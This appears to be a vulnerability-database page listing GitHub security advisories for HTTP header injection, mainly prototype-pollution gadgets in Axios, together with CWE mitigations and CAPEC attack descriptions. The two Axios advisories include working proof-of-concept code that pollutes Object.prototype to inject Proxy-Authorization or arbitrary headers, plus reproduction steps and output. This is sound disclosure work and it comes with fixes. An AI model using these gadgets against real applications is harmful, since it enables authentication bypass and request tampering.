"details": "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution \u2014 Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Response Splitting\u0027)\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** \u2014 all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** \u2014 only proxy identity affected |\n| Impact scope | Universal \u2014 every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: \u0027proxy.corp\u0027, port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | \u2713 Fixed |\n| `config.proxy` (nested) | `utils.merge()` \u2192 `const result = {}` | **\u2717 NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **\u2717 NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = {}; // \u2190 Plain object with Object.prototype!\n // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n if (proxy.username) { // \u2190 traverses Object.prototype!\n proxy.auth = (proxy.username || \u0027\u0027) + \u0027:\u0027 + (proxy.password || \u0027\u0027);\n }\n\n if (proxy.auth) { // \u2190 traverses Object.prototype!\n const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n if (validProxyAuth) {\n proxy.auth = (proxy.auth.username || \u0027\u0027) + \u0027:\u0027 + (proxy.auth.password || \u0027\u0027);\n }\n // ...\n const base64 = Buffer.from(proxy.auth, \u0027utf8\u0027).toString(\u0027base64\u0027);\n options.headers[\u0027Proxy-Authorization\u0027] = \u0027Basic \u0027 + base64; // \u2190 INJECTED!\n }\n // ...\n }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = \u0027attacker\u0027\nObject.prototype.password = \u0027stolen-creds\u0027\n \u2502\n \u25bc\n User config: { proxy: { host: \u0027proxy.corp\u0027, port: 8080 } }\n \u2502\n \u25bc\n mergeConfig() \u2192 utils.merge() \u2192 new plain {}\n config.proxy = { host: \u0027proxy.corp\u0027, port: 8080 } (own properties)\n config.proxy inherits from Object.prototype (has .username, .password)\n \u2502\n \u25bc\n setProxy() at http.js:209:\n proxy.username \u2192 \u0027attacker\u0027 (from Object.prototype) \u2192 truthy!\n proxy.auth = \u0027attacker\u0027 + \u0027:\u0027 + \u0027stolen-creds\u0027\n \u2502\n \u25bc\n http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n console.log(\u0027Proxy-Authorization:\u0027, req.headers[\u0027proxy-authorization\u0027]);\n res.writeHead(200);\n res.end(\u0027OK\u0027);\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = \u0027attacker\u0027;\nObject.prototype.password = \u0027stolen-creds\u0027;\n\n// Developer sets proxy WITHOUT auth \u2014 expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n proxy: { host: \u0027127.0.0.1\u0027, port: proxyPort, protocol: \u0027http\u0027 },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP \u2192 Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Decoded: attacker:stolen-creds\n \u2192 PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n \u2717 Attacker injects Proxy-Authorization into all proxied requests\n \u2717 If proxy logs auth, attacker credential appears in proxy logs\n \u2717 If proxy authenticates based on this, attacker controls proxy identity\n \u2717 Works on 1.15.2 despite null-prototype config fix\n \u2717 Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) \u2014 BLOCKED by 1.15.2:\n Object.prototype.proxy = { host: \u0027evil\u0027 }\n config.proxy = undefined \u2190 null-prototype blocks \u2713\n\nNested PP (proxy.username) \u2014 BYPASSES 1.15.2:\n Object.prototype.username = \u0027attacker\u0027\n config.proxy = { host: \u0027legit\u0027, port: 8080 } \u2190 user-set, own properties\n config.proxy own keys: [\u0027host\u0027, \u0027port\u0027] \u2190 username NOT own\n config.proxy.username = \u0027attacker\u0027 \u2190 inherited from Object.prototype!\n hasOwn(config.proxy, \u0027username\u0027) = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker\u0027s credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth \u2014 a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n if (hasOwn(proxy, \u0027username\u0027)) {\n proxy.auth = (proxy.username || \u0027\u0027) + \u0027:\u0027 + (proxy.password || \u0027\u0027);\n }\n\n if (hasOwn(proxy, \u0027auth\u0027)) {\n // ... existing auth handling ...\n }\n }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = Object.create(null); // \u2190 null-prototype for nested objects too\n // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
"id": "GHSA-654m-c8p4-x5fp",
"modified": "2026-06-12T19:24:58Z",
"published": "2026-05-29T15:51:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44489"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution \u2014 Incomplete Null-Prototype Fix"
}
GHSA-65RJ-829H-6G8X
Vulnerability from github – Published: 2025-02-04 15:31 – Updated: 2025-08-04 15:31cpp-httplib version v0.17.3 through v0.18.3 fails to filter CRLF characters ("\r\n") when those are prefixed with a null byte. This enables attackers to exploit CRLF injection that could further lead to HTTP Response Splitting, XSS, and more.
{
"affected": [],
"aliases": [
"CVE-2025-0825"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-04T15:15:19Z",
"severity": "MODERATE"
},
"details": "cpp-httplib version v0.17.3 through v0.18.3 fails to filter CRLF characters (\"\\r\\n\") when those are prefixed with a null byte. This enables attackers to exploit CRLF injection that could further lead to HTTP Response Splitting, XSS, and more.",
"id": "GHSA-65rj-829h-6g8x",
"modified": "2025-08-04T15:31:07Z",
"published": "2025-02-04T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0825"
},
{
"type": "WEB",
"url": "https://github.com/yhirose/cpp-httplib/commit/9c36aae4b73e2b6e493f4133e4173103c9266289"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CVE-2025-0825"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-69F5-H8HG-VX9V
Vulnerability from github – Published: 2026-03-26 15:30 – Updated: 2026-03-26 15:30HCL Aftermarket DPC is affected by HTTP Response Splitting vulnerability where in depending on how the web application handles the split response, an attacker may be able to execute arbitrary commands or inject harmful content into the response..
{
"affected": [],
"aliases": [
"CVE-2025-55271"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-26T13:16:26Z",
"severity": "LOW"
},
"details": "HCL Aftermarket DPC is affected by HTTP Response Splitting vulnerability where in depending on how the web application handles the split response, an attacker may be able to execute arbitrary commands or inject harmful content into the response..",
"id": "GHSA-69f5-h8hg-vx9v",
"modified": "2026-03-26T15:30:39Z",
"published": "2026-03-26T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55271"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0129793"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6CHQ-WFR3-2HJ9
Vulnerability from github – Published: 2026-05-05 00:25 – Updated: 2026-05-05 00:25Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.
The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.
Prerequisites:
A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).
Details
The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:
// lib/adapters/http.js
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
headers.set(data.getHeaders());
// ...
}
Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:
1. utils.isFormData(data) — lib/utils.js
const isFormData = (thing) => {
let kind;
return thing && (
(typeof FormData === 'function' && thing instanceof FormData) || (
isFunction(thing.append) && (
(kind = kindOf(thing)) === 'formdata' ||
(kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
)
)
)
}
2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package
// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders)
PoC
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
(.... Introduce here all the headers you want ....)
return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };
// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete',
{ userId: 42 },
{ headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
Impact
- Authentication Bypass (CVSS: C:H)
- Session Fixation (CVSS: I:H)
- Privilege Escalation (CVSS: C:H, I:H)
- IP Spoofing / WAF Bypass (CVSS: I:H)
Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.
Recommended Fix
Add an explicit own-property check in lib/adapters/http.js:
- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
- headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+ headers.set(data.getHeaders());
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42035"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:25:47Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself \u2014 any prototype pollution primitive in any dependency in the application\u0027s dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application\u0027s dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n headers.set(data.getHeaders());\n // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` \u2014 `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n let kind;\n return thing \u0026\u0026 (\n (typeof FormData === \u0027function\u0027 \u0026\u0026 thing instanceof FormData) || (\n isFunction(thing.append) \u0026\u0026 ( \n (kind = kindOf(thing)) === \u0027formdata\u0027 || \n (kind === \u0027object\u0027 \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === \u0027[object FormData]\u0027)\n )\n )\n )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` \u2014 Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n const headers = Object.create(null);\n (.... Introduce here all the headers you want ....)\n return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post(\u0027https://internal-api.company.com/admin/delete\u0027, \n { userId: 42 },\n { headers: { \u0027Authorization\u0027: \u0027Bearer VALID_USER_TOKEN\u0027 } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n- headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+ Object.prototype.hasOwnProperty.call(data, \u0027getHeaders\u0027)) {\n+ headers.set(data.getHeaders());\n```",
"id": "GHSA-6chq-wfr3-2hj9",
"modified": "2026-05-05T00:25:47Z",
"published": "2026-05-05T00:25:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Header Injection via Prototype Pollution"
}
Mitigation
Strategy: Input Validation
Construct HTTP headers very carefully, avoiding the use of non-validated input data.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-30
Strategy: Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-105: HTTP Request Splitting
An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).
See CanPrecede relationships for possible consequences.
CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies
This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.
CAPEC-34: HTTP Response Splitting
An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.
See CanPrecede relationships for possible consequences.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.